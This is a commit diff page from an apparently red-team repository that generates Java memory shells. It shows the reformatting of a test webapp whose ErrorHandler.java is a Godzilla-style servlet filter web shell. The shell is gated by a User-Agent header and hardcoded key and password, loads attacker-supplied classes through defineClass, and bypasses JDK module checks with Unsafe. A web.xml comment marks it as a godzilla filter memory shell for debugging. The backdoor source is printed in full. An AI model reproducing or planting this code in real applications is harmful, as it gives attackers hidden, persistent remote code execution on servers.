archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-25 00:11:52 +08:00
Code Issues Actions 4 Packages Projects Releases Wiki Activity

style: code format

Browse Source
This commit is contained in:
ReaJason
2024-12-11 01:35:41 +08:00
parent 59b0aeaaca
commit 40c036ab92
66 changed files with 2104 additions and 1876 deletions
Download Patch File Download Diff File Expand all files Collapse all files
vul-webapp-jakarta/src/main/java/ErrorHandler.java
+73 -75
View File
@@ -1,25 +1,27 @@
import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class ErrorHandler extends ClassLoader implements Filter {
public static boolean isBypassModule;
static {
byPassJdkModule();
}
public String key = "7b74f5d44e20fd71";
public String pass = "passFilter";
public String md5 = "6DA9A394180B0155C7CC6714A0B2179E";
public String headerName = "User-Agent";
public String headerValue = "test";
public static boolean isBypassModule;
public ErrorHandler() {
}
@@ -28,6 +30,66 @@ public class ErrorHandler extends ClassLoader implements Filter {
super(var1);
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) {
byte[] value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static Object byPassJdkModule() {
Boolean var0 = false;
try {
Class var1 = Class.forName("sun.misc.Unsafe");
Field var2 = var1.getDeclaredField("theUnsafe");
var2.setAccessible(true);
Object var3 = var2.get((Object) null);
Method var4 = Class.class.getMethod("getModule");
Object var5 = var4.invoke(Object.class, (Object[]) null);
Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class);
Field var7 = Class.class.getDeclaredField("module");
Long var8 = (Long) var6.invoke(var3, var7);
Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class);
var9.invoke(var3, ErrorHandler.class, var8, var5);
var0 = true;
} catch (Exception var10) {
}
return var0;
}
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@@ -44,8 +106,8 @@ public class ErrorHandler extends ClassLoader implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
@@ -60,7 +122,7 @@ public class ErrorHandler extends ClassLoader implements Filter {
Object f;
try {
f = ((Class)session.getAttribute("payload")).newInstance();
f = ((Class) session.getAttribute("payload")).newInstance();
} catch (IllegalAccessException | InstantiationException e) {
throw new RuntimeException(e);
}
@@ -80,68 +142,4 @@ public class ErrorHandler extends ClassLoader implements Filter {
}
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) {
byte[] value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static Object byPassJdkModule() {
Boolean var0 = false;
try {
Class var1 = Class.forName("sun.misc.Unsafe");
Field var2 = var1.getDeclaredField("theUnsafe");
var2.setAccessible(true);
Object var3 = var2.get((Object)null);
Method var4 = Class.class.getMethod("getModule");
Object var5 = var4.invoke(Object.class, (Object[])null);
Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class);
Field var7 = Class.class.getDeclaredField("module");
Long var8 = (Long)var6.invoke(var3, var7);
Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class);
var9.invoke(var3, ErrorHandler.class, var8, var5);
var0 = true;
} catch (Exception var10) {
}
return var0;
}
static {
byPassJdkModule();
}
}
vul-webapp-jakarta/src/main/java/TestServlet.java
+1
View File
@@ -2,6 +2,7 @@ import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml
+1 -2
View File
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<web-app
xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="https://jakarta.ee/xml/ns/jakartaee"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_5_0.xsd"
version="5.0"
metadata-complete="false"
@@ -40,7 +40,6 @@
</servlet-mapping>
<!-- 用于调试 filter 内存马 -->
<!-- <filter>-->
<!-- <filter-name>godzilla</filter-name>-->